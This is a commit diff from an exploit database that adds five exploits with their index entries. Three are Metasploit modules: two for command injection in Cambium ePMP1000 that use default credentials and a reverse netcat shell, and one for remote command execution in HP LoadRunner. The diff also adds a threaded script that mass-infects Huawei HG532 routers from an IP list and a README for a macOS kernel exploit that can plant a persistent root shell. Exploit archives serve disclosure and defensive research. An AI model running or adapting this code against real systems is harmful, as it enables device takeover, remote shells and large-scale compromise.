DB: 2018-01-02
5 changes to exploits/shellcodes Apple macOS - IOHIDSystem Kernel Read/Write HP Mercury LoadRunner Agent magentproc.exe - Remote Command Execution (Metasploit) Cambium ePMP1000 - 'ping' Shell via Command Injection (Metasploit) Cambium ePMP1000 - 'get_chart' Shell via Command Injection (Metasploit) Huawei Router HG532 - Arbitrary Command Execution
This commit is contained in:
Offensive Security
parent
07e51f4126
commit
f6c5c427c3
6 changed files with 675 additions and 0 deletions
252
exploits/cgi/remote/43413.rb
Executable file
252
exploits/cgi/remote/43413.rb
Executable file
|
|
@ -0,0 +1,252 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)",
|
||||
'Description' => %{
|
||||
This module exploits an OS Command Injection vulnerability in Cambium
|
||||
ePMP1000 device management portal. It requires any one of the following login
|
||||
credentials - admin/admin, installer/installer, home/home - to set up a reverse
|
||||
netcat shell. The module has been tested on versions 3.1-3.5-RC7.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-5255'],
|
||||
['URL', 'https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
['CMD',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Dec 18 2017',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
|
||||
end
|
||||
|
||||
#
|
||||
# Fingerprinting
|
||||
#
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
return true, epmp_ver
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
epmp_ver = ''
|
||||
return true, epmp_ver
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
|
||||
epmp_ver = nil
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# check
|
||||
#
|
||||
def check
|
||||
success, epmp_ver = is_app_epmp1000?
|
||||
if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Login
|
||||
#
|
||||
def login(user, pass)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
cookies = res.get_cookies_parsed
|
||||
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
check_sysauth.include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
|
||||
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
|
||||
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => sysauth_value,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass,
|
||||
'prevsess' => prevsessid
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
!res.body.include?('auth_failed')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
# check if max_user_number_reached?
|
||||
if !res.body.include?('max_user_number_reached')
|
||||
# get the cookie now
|
||||
cookies = res.get_cookies_parsed
|
||||
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
|
||||
stok_value = "#{stok_value_dirty}".split('"')[3]
|
||||
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
|
||||
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
|
||||
|
||||
final_cookie = "#{sysauth_value}" + 'usernameType_80=admin; stok_80=' + "#{stok_value}"
|
||||
|
||||
# create config_uri
|
||||
config_uri_get_chart = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/get_chart'
|
||||
return final_cookie, config_uri_get_chart
|
||||
else
|
||||
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
|
||||
final_cookie = 'skip'
|
||||
config_uri_dump_config = 'skip'
|
||||
config_uri_reset_pass = 'skip'
|
||||
config_uri_get_chart = 'skip'
|
||||
return final_cookie, config_uri_get_chart
|
||||
end
|
||||
else
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
final_cookie = 'skip'
|
||||
config_uri_get_chart = 'skip'
|
||||
return final_cookie, config_uri_get_chart
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# open cmd_shell
|
||||
#
|
||||
def cmd_shell(config_uri, cookie)
|
||||
command = payload.encoded
|
||||
inject = '|' + "#{command}"
|
||||
clean_inject = CGI.unescapeHTML(inject.to_s)
|
||||
|
||||
print_status('Sending payload...')
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => config_uri,
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'measure' => 's', # This parameter can also be used for injection
|
||||
'timestamp' => clean_inject,
|
||||
'debug' => 0
|
||||
}
|
||||
}, 25
|
||||
)
|
||||
handler
|
||||
end
|
||||
|
||||
# exploit
|
||||
|
||||
def exploit
|
||||
_success, epmp_ver = is_app_epmp1000?
|
||||
if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
|
||||
print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')
|
||||
return
|
||||
else
|
||||
cookie, config_uri_get_chart = login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if cookie == 'skip' && config_uri_get_chart == 'skip'
|
||||
return
|
||||
else
|
||||
cmd_shell(config_uri_get_chart, cookie)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
25
exploits/hardware/webapps/43414.py
Executable file
25
exploits/hardware/webapps/43414.py
Executable file
|
|
@ -0,0 +1,25 @@
|
|||
import threading, sys, time, random, socket, re, os, struct, array, requests
|
||||
from requests.auth import HTTPDigestAuth
|
||||
ips = open(sys.argv[1], "r").readlines()
|
||||
cmd = "" # Your MIPS (SSHD)
|
||||
rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
|
||||
|
||||
class exploit(threading.Thread):
|
||||
def __init__ (self, ip):
|
||||
threading.Thread.__init__(self)
|
||||
self.ip = str(ip).rstrip('\n')
|
||||
def run(self):
|
||||
try:
|
||||
url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
|
||||
requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
|
||||
print "[SOAP] Attempting to infect " + self.ip
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
for ip in ips:
|
||||
try:
|
||||
n = exploit(ip)
|
||||
n.start()
|
||||
time.sleep(0.03)
|
||||
except:
|
||||
pass
|
||||
40
exploits/macos/dos/43415.txt
Normal file
40
exploits/macos/dos/43415.txt
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
Sources:
|
||||
https://siguza.github.io/IOHIDeous/
|
||||
https://github.com/Siguza/IOHIDeous/
|
||||
|
||||
IOHIDeous
|
||||
A macOS kernel exploit based on an IOHIDFamily 0day.
|
||||
|
||||
Write-up here: https://siguza.github.io/IOHIDeous/
|
||||
|
||||
Notice
|
||||
The prefetch timing attack I'm using for hid for some reason doesn't work on High Sierra 10.13.2 anymore, and I don't feel like investigating that. Maybe patched, maybe just the consequence of a random change, I neither know nor care. The vuln is still there and my code does both info leak and kernel r/w, just not in the same binary - reason is explained in the write-up. If you want that feature, consider it an exercise for the reader.
|
||||
|
||||
Usage
|
||||
The exploit consists of three parts:
|
||||
|
||||
poc panics the kernel to demonstrate the present of a memory corruption, should work on all macOS versions.
|
||||
leak leaks the kernel slide, could be adapted to other versions but as-is works only on High Sierra.
|
||||
hid achieves full kernel r/w, tested only on Sierra and High Sierra (up to & including 10.13.1), might work on earlier versions too.
|
||||
poc and leak need to be run as the user that is currently logged in via the GUI, and they log you out in order to perform the exploit. hid on the other hand, gives you four options for a first argument:
|
||||
|
||||
steal requires to be run as root and SIP to be disabled, but leaves you logged in the entire time.
|
||||
kill requires root and forces a dirty logout by killing WindowServer.
|
||||
logout if executed as root or the currently logged in user, logs you out via launchctl. Otherwise tries to log you out via AppleScript, and then falls back to wait.
|
||||
wait simply waits for a logout, shutdown or reboot to occur.
|
||||
Additionally you can specify a second argument persist. If given, hid will permanently disable SIP and AMFI, and install a root shell in /System/pwned.
|
||||
|
||||
leak and hid should be run either via SSH or from a screen session, if you wish to observe their output.
|
||||
|
||||
Building
|
||||
Should all be self-explanatory:
|
||||
|
||||
make all
|
||||
make poc
|
||||
make leak
|
||||
make hid
|
||||
make clean
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43415.zip
|
||||
254
exploits/unix/remote/43412.rb
Executable file
254
exploits/unix/remote/43412.rb
Executable file
|
|
@ -0,0 +1,254 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",
|
||||
'Description' => %{
|
||||
This module exploits an OS Command Injection vulnerability in Cambium
|
||||
ePMP1000 device management portal. It requires any one of the following login
|
||||
credentials - admin/admin, installer/installer, home/home - to set up a reverse
|
||||
netcat shell.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
|
||||
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
['EPMP',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 28 2015',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
|
||||
end
|
||||
|
||||
#
|
||||
# Fingerprinting
|
||||
#
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
return true, epmp_ver
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
epmp_ver = ''
|
||||
return true, epmp_ver
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
|
||||
epmp_ver = nil
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# check
|
||||
#
|
||||
def check
|
||||
success, epmp_ver = is_app_epmp1000?
|
||||
if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Login
|
||||
#
|
||||
def login(user, pass)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
cookies = res.get_cookies_parsed
|
||||
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
check_sysauth.include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
|
||||
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
cookies = res.get_cookies_parsed
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
!res.body.include?('auth_failed')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
# check if max_user_number_reached?
|
||||
if !res.body.include?('max_user_number_reached')
|
||||
# get the final cookie now
|
||||
cookies = res.get_cookies_parsed
|
||||
stok_value = cookies.has_key?('stok') && cookies['stok'].first
|
||||
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
|
||||
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
|
||||
|
||||
final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value
|
||||
|
||||
# create config_uri
|
||||
config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'
|
||||
|
||||
return final_cookie, config_uri_ping
|
||||
else
|
||||
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
|
||||
final_cookie = 'skip'
|
||||
config_uri_ping = 'skip'
|
||||
return final_cookie, config_uri_ping
|
||||
end
|
||||
else
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
final_cookie = 'skip'
|
||||
config_uri_ping = 'skip'
|
||||
return final_cookie, config_uri_ping
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# open cmd_shell
|
||||
#
|
||||
def cmd_shell(config_uri, cookie)
|
||||
command = payload.encoded
|
||||
inject = '|' + "#{command}" + ' ||'
|
||||
clean_inject = CGI.unescapeHTML(inject.to_s)
|
||||
|
||||
print_status('Sending payload...')
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => config_uri,
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
|
||||
'packets_num' => clean_inject,
|
||||
'buf_size' => 0,
|
||||
'ttl' => 1,
|
||||
'debug' => '0'
|
||||
}
|
||||
}, 25
|
||||
)
|
||||
handler
|
||||
end
|
||||
|
||||
# exploit
|
||||
|
||||
def exploit
|
||||
success, epmp_ver = is_app_epmp1000?
|
||||
if epmp_ver < '2.5'
|
||||
cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if cookie == 'skip' && config_uri_ping == 'skip'
|
||||
return
|
||||
else
|
||||
cmd_shell(config_uri_ping, cookie)
|
||||
end
|
||||
else
|
||||
print_error('This ePMP version is not vulnerable. Module will not continue.')
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
99
exploits/windows/remote/43411.rb
Executable file
99
exploits/windows/remote/43411.rb
Executable file
|
|
@ -0,0 +1,99 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
|
||||
and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are
|
||||
also most likely vulneable if the (non-default) SSL option is turned off.
|
||||
By sending a specially crafted packet, an attacker can execute commands remotely.
|
||||
The service is vulnerable provided the Secure Channel feature is disabled (default).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Original discovery # From Tenable Network Security
|
||||
'aushack' # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2010-1549'],
|
||||
['ZDI', '10-080'],
|
||||
['BID', '39965'],
|
||||
['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968']
|
||||
],
|
||||
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# Note: software reportedly supports Linux - may also be vulnerable.
|
||||
['Windows (Dropper)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DisclosureDate' => 'May 06 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([Opt::RPORT(54345)])
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17))
|
||||
randstr = Rex::Text.rand_text_alpha(16)
|
||||
server_name = Rex::Text.rand_text_alpha(7)
|
||||
server_ip = datastore['LHOST']
|
||||
server_port = Rex::Text.rand_text_numeric(4)
|
||||
# If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd
|
||||
cmd1 = "C:\\Windows\\system32\\cmd.exe"
|
||||
cmd2 = "/C \"#{cmd}\""
|
||||
|
||||
pkt1 = [0x19].pack('N') + guid + '0'
|
||||
|
||||
pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})"
|
||||
pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00"
|
||||
pkt2 << [0x7530].pack('N')
|
||||
|
||||
pkt3 = [4 + pkt2.length].pack('N') + pkt2
|
||||
|
||||
pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3
|
||||
|
||||
pkt5 = [pkt4.length].pack('N') + pkt4
|
||||
|
||||
pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N')
|
||||
pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N')
|
||||
|
||||
pkt7 = [4 + pkt6.length].pack('N') + pkt6
|
||||
|
||||
pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7
|
||||
|
||||
pkt9 = [pkt8.length].pack('N') + pkt8
|
||||
|
||||
sploit = pkt1 + pkt5 + pkt9
|
||||
|
||||
connect
|
||||
sock.put(sploit)
|
||||
disconnect
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Sending payload...')
|
||||
execute_cmdstager(linemax: 1500)
|
||||
end
|
||||
end
|
||||
|
|
@ -5437,6 +5437,7 @@ id,file,description,date,author,type,platform,port
|
|||
43403,exploits/windows/dos/43403.py,"SysGauge Server 3.6.18 - Denial of Service",2017-12-27,"Ahmad Mahfouz",dos,windows,
|
||||
43406,exploits/windows/dos/43406.py,"ALLMediaServer 0.95 - Buffer Overflow (PoC)",2017-12-27,"Aloyce J. Makalanga",dos,windows,
|
||||
43410,exploits/windows/dos/43410.py,"D3DGear 5.00 Build 2175 - Buffer Overflow",2017-12-31,bzyo,dos,windows,
|
||||
43415,exploits/macos/dos/43415.txt,"Apple macOS - IOHIDSystem Kernel Read/Write",2018-01-01,Siguza,dos,macos,
|
||||
41623,exploits/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",dos,windows,
|
||||
41629,exploits/windows/dos/41629.py,"FTPShell Client 6.53 - 'Session name' Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,dos,windows,
|
||||
41637,exploits/windows/dos/41637.py,"FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow",2017-03-19,ScrR1pTK1dd13,dos,windows,
|
||||
|
|
@ -15876,6 +15877,9 @@ id,file,description,date,author,type,platform,port
|
|||
43388,exploits/multiple/remote/43388.md,"Trend Micro Smart Protection Server - Session Hijacking / Log File Disclosure / Remote Command Execution / Cron Job Injection / Local File Inclusion / Stored Cross-Site Scripting / Improper Access Control",2017-12-19,CoreLabs,remote,multiple,
|
||||
43407,exploits/windows/remote/43407.rb,"ALLMediaServer 0.95 - Buffer Overflow (Metasploit)",2017-12-28,"Anurag Srivastava",remote,windows,
|
||||
43408,exploits/windows/remote/43408.py,"NetTransport 2.96L - Buffer Overflow (DEP Bypass)",2017-12-29,"Aloyce J. Makalanga",remote,windows,
|
||||
43411,exploits/windows/remote/43411.rb,"HP Mercury LoadRunner Agent magentproc.exe - Remote Command Execution (Metasploit)",2018-01-01,Metasploit,remote,windows,54345
|
||||
43412,exploits/unix/remote/43412.rb,"Cambium ePMP1000 - 'ping' Shell via Command Injection (Metasploit)",2018-01-01,Metasploit,remote,unix,
|
||||
43413,exploits/cgi/remote/43413.rb,"Cambium ePMP1000 - 'get_chart' Shell via Command Injection (Metasploit)",2018-01-01,Metasploit,remote,cgi,
|
||||
41638,exploits/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,remote,windows,
|
||||
41666,exploits/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Remote Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",remote,windows,
|
||||
41672,exploits/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,remote,windows,
|
||||
|
|
@ -37681,6 +37685,7 @@ id,file,description,date,author,type,platform,port
|
|||
43402,exploits/hardware/webapps/43402.txt,"Telesquare SKT LTE Router SDT-CS3B1 - Information Disclosure",2017-12-27,LiquidWorm,webapps,hardware,
|
||||
43405,exploits/aspx/webapps/43405.rb,"DotNetNuke DreamSlider 01.01.02 - Arbitrary File Download (Metasploit)",2017-12-27,"Glafkos Charalambous",webapps,aspx,
|
||||
43409,exploits/php/webapps/43409.txt,"PHP Melody 2.7.1 - 'playlist' SQL Injection",2017-12-31,"Ahmad Mahfouz",webapps,php,
|
||||
43414,exploits/hardware/webapps/43414.py,"Huawei Router HG532 - Arbitrary Command Execution",2017-12-25,anonymous,webapps,hardware,37215
|
||||
41622,exploits/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",webapps,php,
|
||||
